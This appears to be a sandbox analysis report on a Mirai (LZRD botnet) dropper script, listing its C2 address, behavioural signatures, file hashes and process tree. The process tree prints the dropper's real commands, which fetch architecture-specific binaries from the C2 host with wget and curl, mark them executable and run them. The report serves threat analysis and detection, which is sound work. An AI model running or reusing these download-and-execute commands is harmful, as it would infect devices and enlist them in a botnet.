Analysis

  • max time kernel
    143s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    11/11/2026, 10:45

General

  • Target
    f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh
  • Size 1KB
  • Sample261111-mtfydsgv4s
  • SHA256 f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • mirai

Botnet
  • LZRD

C2
  • 94.26.106.200

Extracted

Family
  • mirai

Botnet
  • LZRD

C2
  • 94.26.106.200

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai ARM payload 3 IoCs
  • Mirai Renesas payload 1 IoCs
  • Contacts a large (15467) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks CPU configuration 1 TTPs 10 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 58 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 20 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh
    /tmp/f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:643
    • /usr/bin/wget
      wget http://94.26.106.200/d/xd.x86
      2⤵
      • Writes file to tmp directory
      PID:649
    • /usr/bin/curl
      curl -O http://94.26.106.200/d/xd.x86
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:717
    • /bin/cat
      cat xd.x86
      2⤵
        PID:748
      • /bin/chmod
        chmod +x f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh SSH systemd-private-831ea42c0d56486f99d0358904729839-systemd-timedated.service-7AJU1P xd.x86
        2⤵
        • File and Directory Permissions Modification
        PID:749
      • /tmp/SSH
        ./SSH
        2⤵
          PID:750
        • /usr/bin/wget
          wget http://94.26.106.200/d/xd.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:752
        • /usr/bin/curl
          curl -O http://94.26.106.200/d/xd.mips
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:753
        • /bin/cat
          cat xd.mips
          2⤵
          • System Network Configuration Discovery
          PID:756
        • /bin/chmod
          chmod +x f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh SSH systemd-private-831ea42c0d56486f99d0358904729839-systemd-timedated.service-7AJU1P xd.mips xd.x86
          2⤵
          • File and Directory Permissions Modification
          PID:757
        • /tmp/SSH
          ./SSH
          2⤵
            PID:758
          • /usr/bin/wget
            wget http://94.26.106.200/d/xd.mpsl
            2⤵
            • Writes file to tmp directory
            PID:760
          • /usr/bin/curl
            curl -O http://94.26.106.200/d/xd.mpsl
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:761
          • /bin/cat
            cat xd.mpsl
            2⤵
              PID:762
            • /bin/chmod
              chmod +x f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh SSH systemd-private-831ea42c0d56486f99d0358904729839-systemd-timedated.service-7AJU1P xd.mips xd.mpsl xd.x86
              2⤵
              • File and Directory Permissions Modification
              PID:763
            • /tmp/SSH
              ./SSH
              2⤵
                PID:764
              • /usr/bin/wget
                wget http://94.26.106.200/d/xd.arm4
                2⤵
                  PID:766
                • /usr/bin/curl
                  curl -O http://94.26.106.200/d/xd.arm4
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:767
                • /bin/cat
                  cat xd.arm4
                  2⤵
                    PID:768
                  • /bin/chmod
                    chmod +x f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh SSH systemd-private-831ea42c0d56486f99d0358904729839-systemd-timedated.service-7AJU1P xd.arm4 xd.mips xd.mpsl xd.x86
                    2⤵
                    • File and Directory Permissions Modification
                    PID:769
                  • /tmp/SSH
                    ./SSH
                    2⤵
                      PID:770
                    • /usr/bin/wget
                      wget http://94.26.106.200/d/xd.arm5
                      2⤵
                      • Writes file to tmp directory
                      PID:771
                    • /usr/bin/curl
                      curl -O http://94.26.106.200/d/xd.arm5
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:772
                    • /bin/cat
                      cat xd.arm5
                      2⤵
                        PID:775
                      • /bin/chmod
                        chmod +x f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh SSH systemd-private-831ea42c0d56486f99d0358904729839-systemd-timedated.service-7AJU1P xd.arm4 xd.arm5 xd.mips xd.mpsl xd.x86
                        2⤵
                        • File and Directory Permissions Modification
                        PID:776
                      • /tmp/SSH
                        ./SSH
                        2⤵
                          PID:777
                        • /usr/bin/wget
                          wget http://94.26.106.200/d/xd.arm6
                          2⤵
                          • Writes file to tmp directory
                          PID:778
                        • /usr/bin/curl
                          curl -O http://94.26.106.200/d/xd.arm6
                          2⤵
                          • Checks CPU configuration
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:779
                        • /bin/cat
                          cat xd.arm6
                          2⤵
                            PID:780
                          • /bin/chmod
                            chmod +x f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh SSH systemd-private-831ea42c0d56486f99d0358904729839-systemd-timedated.service-7AJU1P xd.arm4 xd.arm5 xd.arm6 xd.mips xd.mpsl xd.x86
                            2⤵
                            • File and Directory Permissions Modification
                            PID:781
                          • /tmp/SSH
                            ./SSH
                            2⤵
                            • Reads runtime system information
                            PID:782
                          • /usr/bin/wget
                            wget http://94.26.106.200/d/xd.arm7
                            2⤵
                            • Writes file to tmp directory
                            PID:783
                          • /usr/bin/curl
                            curl -O http://94.26.106.200/d/xd.arm7
                            2⤵
                            • Checks CPU configuration
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:789
                          • /bin/cat
                            cat xd.arm7
                            2⤵
                              PID:790
                            • /bin/chmod
                              chmod +x f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh SSH xd.arm4 xd.arm5 xd.arm6 xd.arm7 xd.mips xd.mpsl xd.x86
                              2⤵
                              • File and Directory Permissions Modification
                              PID:791
                            • /tmp/SSH
                              ./SSH
                              2⤵
                              • Modifies Watchdog functionality
                              • Enumerates active TCP sockets
                              • Reads system network configuration
                              • Reads runtime system information
                              PID:792
                            • /usr/bin/wget
                              wget http://94.26.106.200/d/xd.ppc
                              2⤵
                              • Writes file to tmp directory
                              PID:796
                            • /usr/bin/curl
                              curl -O http://94.26.106.200/d/xd.ppc
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:807
                            • /bin/cat
                              cat xd.ppc
                              2⤵
                                PID:808
                              • /bin/chmod
                                chmod +x f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh SSH xd.arm4 xd.arm5 xd.arm6 xd.arm7 xd.mips xd.mpsl xd.ppc xd.x86
                                2⤵
                                • File and Directory Permissions Modification
                                PID:809
                              • /tmp/SSH
                                ./SSH
                                2⤵
                                  PID:810
                                • /usr/bin/wget
                                  wget http://94.26.106.200/d/xd.m68k
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:812
                                • /usr/bin/curl
                                  curl -O http://94.26.106.200/d/xd.m68k
                                  2⤵
                                  • Checks CPU configuration
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:813
                                • /bin/cat
                                  cat xd.m68k
                                  2⤵
                                    PID:816
                                  • /bin/chmod
                                    chmod +x f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh SSH xd.arm4 xd.arm5 xd.arm6 xd.arm7 xd.m68k xd.mips xd.mpsl xd.ppc xd.x86
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:817
                                  • /tmp/SSH
                                    ./SSH
                                    2⤵
                                      PID:818
                                    • /usr/bin/wget
                                      wget http://94.26.106.200/d/xd.sh4
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:820
                                    • /usr/bin/curl
                                      curl -O http://94.26.106.200/d/xd.sh4
                                      2⤵
                                      • Checks CPU configuration
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:821
                                    • /bin/cat
                                      cat xd.sh4
                                      2⤵
                                        PID:822
                                      • /bin/chmod
                                        chmod +x f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh SSH xd.arm4 xd.arm5 xd.arm6 xd.arm7 xd.m68k xd.mips xd.mpsl xd.ppc xd.sh4 xd.x86
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:823
                                      • /tmp/SSH
                                        ./SSH
                                        2⤵
                                          PID:824

                                      Network

                                            MITRE ATT&CK Enterprise v16

                                            Replay Monitor

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                                            Downloads

                                            SSH

                                            • Path /tmp/SSH
                                            • Size 30KB
                                            • SHA256 0c77a7ed5c5dcc7828bdffada959bf0ac1180ecfd43713f203ee9d5bf429283a
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            SSH

                                            • Path /tmp/SSH
                                            • Size 31KB
                                            • SHA256 eccbbe2534611e9063699160495bf6128569039c2339db5852735a0212690867
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            SSH

                                            • Path /tmp/SSH
                                            • Size 275B
                                            • SHA256 f4ea3275574152540b4a1e2b8d3bb4223149255c8958551df25a9305ac852c0f
                                            • MD5 SHA1 SHA512 TLSH

                                            SSH

                                            • Path /tmp/SSH
                                            • Size 64KB
                                            • SHA256 65a0c75e609f0dfe16c3e9e9c7cb97acd82a7ec497621223fb1428333afae981
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            xd.x86

                                            • Path /tmp/xd.x86
                                            • Size 29KB
                                            • SHA256 2a5116c9513947357f7b71cbf94e13e8cad82c7e24bb8fb5878b69b6aabbbd2b
                                            • MD5 SHA1 SHA512 SSDEEP TLSH